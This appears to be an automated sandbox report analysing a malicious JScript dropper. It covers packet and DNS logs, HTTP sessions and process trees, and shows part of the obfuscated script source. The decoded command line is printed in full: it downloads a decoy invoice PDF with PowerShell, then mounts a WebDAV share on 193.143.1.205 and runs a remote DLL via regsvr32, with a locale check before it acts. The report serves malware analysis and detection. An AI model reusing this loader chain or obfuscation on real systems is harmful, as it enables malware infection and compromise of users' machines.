Jan 10, 2025 14:58:06.264642954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264655113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264662027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264664888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264676094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264686108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264692068 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264697075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264708996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264715910 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264734983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264750957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264933109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264944077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264954090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264965057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264975071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264980078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.264986992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264997005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:06.264997959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.265029907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.308660030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.603049040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:06.746537924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:07.165498018 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:07.170438051 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:07.170536995 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:07.170743942 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:07.175497055 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:07.970093966 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:08.011722088 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:08.135190010 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:58:14.597148895 CET	55636	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:58:14.597148895 CET	192.168.2.6	1.1.1.1	0x2d17	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:58:14.604698896 CET	1.1.1.1	192.168.2.6	0x2d17	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:58:15.416100979 CET	1.1.1.1	192.168.2.6	0xe6a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:58:15.416100979 CET	1.1.1.1	192.168.2.6	0xe6a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:59:19.555408955 CET	1.1.1.1	192.168.2.6	0xb3d9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:59:19.555408955 CET	1.1.1.1	192.168.2.6	0xb3d9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:59:32.135533094 CET	1.1.1.1	192.168.2.6	0x7dfc	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:59:32.135533094 CET	1.1.1.1	192.168.2.6	0x7dfc	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	6288	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:58:04.571593046 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:58:05.393661976 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:58:05 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:58:05.393738031 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:58:05.393749952 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 14:58:05.393760920 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 14:58:05.393770933 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 14:58:05.393781900 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 14:58:05.393793106 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 14:58:05.393805027 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 10, 2025 14:58:05.393815041 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 14:58:05.393827915 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 14:58:05.398739100 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	1656	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:58:07.170743942 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:58:07.970093966 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:58:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:58:00
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js"
Imagebase:	0x7ff612400000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:58:01
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll
Imagebase:	0x7ff7db930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:58:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:58:01
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:58:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:58:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7db930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:58:06
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66f050000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:58:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:58:07
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:58:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1656,i,11865774184325783275,16723810736043265200,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function uivfycmfm() {	uivfycmfm() ➔ undefined
1	ltjgs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var aoncbj = this[yequejyi + rwnics + kpizca + abajtwut + xssjr + rhwcgxq + oxjstfavj + dfdebtqq] ( this[pomdpwj + bpzct + lxxazlqie + kpizca + erwjdlpd + yequejyi + dfdebtqq][ewbrxuso + kpizca + xssjr + rwnics + dfdebtqq + xssjr + oekyieax + slyrgwtrs + rwamsay + xssjr + lxxazlqie + dfdebtqq] ( pomdpwj + bpzct + lxxazlqie + kpizca + erwjdlpd + yequejyi + dfdebtqq + zheyjqw + bpzct + zpimy + xssjr + dvtysedbg + dvtysedbg ) [odolpwq + xssjr + jcpdpkbr + odolpwq + xssjr + rwnics + odmhkyl] ( uiqbv + fyitaci + euhsksv + tstfskuh + ueoclfw + ewbrxuso + qxgylijy + odolpwq + odolpwq + euhsksv + deevqzalm + xtunifz + ueoclfw + qxgylijy + bpzct + euhsksv + odolpwq + sqnqsnpl + ewbrxuso + nmwele + oxjstfavj + dfdebtqq + kpizca + nmwele + dvtysedbg + exzsht + aljddrd + rwnics + oxjstfavj + xssjr + dvtysedbg + sqnqsnpl + rhwcgxq + oxjstfavj + dfdebtqq + xssjr + kpizca + oxjstfavj + rwnics + dfdebtqq + erwjdlpd + nmwele + oxjstfavj + rwnics + dvtysedbg + sqnqsnpl + wrukd + nmwele + lxxazlqie + rwnics + dvtysedbg + xssjr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( dsemlidz = 0 ; dsemlidz < ltjgs[dvtysedbg + xssjr + oxjstfavj + jcpdpkbr + dfdebtqq + zpimy] ; ++ dsemlidz )
4	{
5	if ( aoncbj == ltjgs[dsemlidz] )
6	{
7	aoncbj = true;
8	break ;
9	}
10	}
11	if ( aoncbj !== true )
12	this[pomdpwj + bpzct + lxxazlqie + kpizca + erwjdlpd + yequejyi + dfdebtqq][ytiueswoh + zkeqmv + erwjdlpd + dfdebtqq] ( );
13	this[pomdpwj + bpzct + lxxazlqie + kpizca + erwjdlpd + yequejyi + dfdebtqq][ewbrxuso + kpizca + xssjr + rwnics + dfdebtqq + xssjr + oekyieax + slyrgwtrs + rwamsay + xssjr + lxxazlqie + dfdebtqq] ( pomdpwj + bpzct + lxxazlqie + kpizca + erwjdlpd + yequejyi + dfdebtqq + zheyjqw + bpzct + zpimy + xssjr + dvtysedbg + dvtysedbg ) [kpizca + zkeqmv + oxjstfavj] ( lxxazlqie + cwbrrdlop + odmhkyl + exzsht + bsytrbn + lxxazlqie + exzsht + yequejyi + nmwele + zfkfeuvjl + xssjr + kpizca + abajtwut + zpimy + xssjr + dvtysedbg + dvtysedbg + zheyjqw + xssjr + dulchjbx + xssjr + exzsht + psygzf + ewbrxuso + nmwele + cwbrrdlop + cwbrrdlop + rwnics + oxjstfavj + odmhkyl + exzsht + afblbewt + rhwcgxq + oxjstfavj + bbkdhgtpn + nmwele + lkzbycv + xssjr + psygzf + pomdpwj + xssjr + slyrgwtrs + odolpwq + xssjr + mulnkidm + zkeqmv + xssjr + abajtwut + dfdebtqq + exzsht + psygzf + oekyieax + zkeqmv + dfdebtqq + nlywjcgu + erwjdlpd + dvtysedbg + xssjr + exzsht + imdzmkvgi + dfdebtqq + xssjr + cwbrrdlop + yequejyi + imdzmkvgi + sqnqsnpl + erwjdlpd + oxjstfavj + bbkdhgtpn + nmwele + erwjdlpd + lxxazlqie + xssjr + zheyjqw + yequejyi + odmhkyl + vvwhyisdj + exzsht + zpimy + dfdebtqq + dfdebtqq + yequejyi + wbpojvrlu + bsytrbn + bsytrbn + ejaynicz + vsdws + rptevphr + zheyjqw + ejaynicz + ziggjs + rptevphr + zheyjqw + ejaynicz + zheyjqw + wxfnxvs + rkehg + ftnit + bsytrbn + erwjdlpd + oxjstfavj + bbkdhgtpn + nmwele + erwjdlpd + lxxazlqie + xssjr + zheyjqw + yequejyi + zpimy + yequejyi + afblbewt + zfwhmx + zfwhmx + abajtwut + dfdebtqq + rwnics + kpizca + dfdebtqq + exzsht + imdzmkvgi + dfdebtqq + xssjr + cwbrrdlop + yequejyi + imdzmkvgi + sqnqsnpl + erwjdlpd + oxjstfavj + bbkdhgtpn + nmwele + erwjdlpd + lxxazlqie + xssjr + zheyjqw + yequejyi + odmhkyl + vvwhyisdj + zfwhmx + zfwhmx + lxxazlqie + cwbrrdlop + odmhkyl + exzsht + bsytrbn + lxxazlqie + exzsht + oxjstfavj + xssjr + dfdebtqq + exzsht + zkeqmv + abajtwut + xssjr + exzsht + sqnqsnpl + sqnqsnpl + ejaynicz + vsdws + rptevphr + zheyjqw + ejaynicz + ziggjs + rptevphr + zheyjqw + ejaynicz + zheyjqw + wxfnxvs + rkehg + ftnit + hpvfsbsl + okuaort + okuaort + okuaort + okuaort + sqnqsnpl + odmhkyl + rwnics + bbkdhgtpn + zfkfeuvjl + zfkfeuvjl + zfkfeuvjl + kpizca + nmwele + nmwele + dfdebtqq + sqnqsnpl + zfwhmx + zfwhmx + lxxazlqie + cwbrrdlop + odmhkyl + exzsht + bsytrbn + lxxazlqie + exzsht + kpizca + xssjr + jcpdpkbr + abajtwut + bbkdhgtpn + kpizca + rptevphr + wxfnxvs + exzsht + bsytrbn + abajtwut + exzsht + sqnqsnpl + sqnqsnpl + ejaynicz + vsdws + rptevphr + zheyjqw + ejaynicz + ziggjs + rptevphr + zheyjqw + ejaynicz + zheyjqw + wxfnxvs + rkehg + ftnit + hpvfsbsl + okuaort + okuaort + okuaort + okuaort + sqnqsnpl + odmhkyl + rwnics + bbkdhgtpn + zfkfeuvjl + zfkfeuvjl + zfkfeuvjl + kpizca + nmwele + nmwele + dfdebtqq + sqnqsnpl + vsdws + vsdws + zyilb + zyilb + ejaynicz + ftnit + ftnit + wxfnxvs + leefuhvah + wxfnxvs + zyilb + vsdws + rkehg + rptevphr + zheyjqw + odmhkyl + dvtysedbg + dvtysedbg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll",0,false) ➔ 0
14	}
15	jcpdpkbr = "w";
16	jcpdpkbr = "w";
17	jcpdpkbr = "o";
18	jcpdpkbr = "I";
19	jcpdpkbr = "w";
20	jcpdpkbr = "U";
21	jcpdpkbr = "Y";
22	jcpdpkbr = "L";
23	jcpdpkbr = "K";
24	jcpdpkbr = "g";
25	afblbewt = "T";
26	afblbewt = "Z";
27	afblbewt = "w";
28	afblbewt = "s";
29	afblbewt = "\"";
30	rptevphr = "y";
31	rptevphr = "l";
32	rptevphr = "g";
33	rptevphr = "T";
34	rptevphr = "Y";
35	rptevphr = "U";
36	rptevphr = "Q";
37	rptevphr = "n";
38	rptevphr = "v";
39	rptevphr = "l";
40	rptevphr = "R";
41	rptevphr = "i";
42	rptevphr = "G";
43	rptevphr = "f";
44	rptevphr = "J";
45	rptevphr = "I";
46	rptevphr = "o";
47	rptevphr = "t";
48	rptevphr = "W";
49	rptevphr = "V";
50	rptevphr = "E";
51	rptevphr = "e";
52	rptevphr = "p";
53	rptevphr = "e";
54	rptevphr = "b";
55	rptevphr = "D";
56	rptevphr = "i";
57	rptevphr = "d";
58	rptevphr = "3";
59	xssjr = "c";
60	xssjr = "X";
61	xssjr = "o";
62	xssjr = "t";
63	xssjr = "H";
64	xssjr = "L";
65	xssjr = "G";
66	xssjr = "u";
67	xssjr = "F";
68	xssjr = "J";
69	xssjr = "Y";
70	xssjr = "X";
71	xssjr = "B";
72	xssjr = "r";
73	xssjr = "l";
74	xssjr = "T";
75	xssjr = "U";
76	xssjr = "p";
77	xssjr = "r";
78	xssjr = "z";
79	xssjr = "D";
80	xssjr = "a";
81	xssjr = "F";
82	xssjr = "b";
83	xssjr = "g";
84	xssjr = "K";
85	xssjr = "N";
86	xssjr = "e";
87	odmhkyl = "a";
88	odmhkyl = "W";
89	odmhkyl = "Q";
90	odmhkyl = "U";
